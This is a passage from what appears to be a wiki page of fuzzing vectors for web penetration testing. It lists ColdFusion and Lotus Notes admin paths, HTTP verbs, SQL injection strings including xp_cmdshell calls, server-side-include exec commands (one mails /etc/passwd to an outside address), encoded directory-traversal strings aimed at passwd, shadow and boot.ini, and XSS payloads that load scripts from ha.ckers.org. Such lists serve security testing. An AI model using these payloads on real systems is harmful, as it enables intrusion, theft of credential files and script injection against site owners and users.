CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: 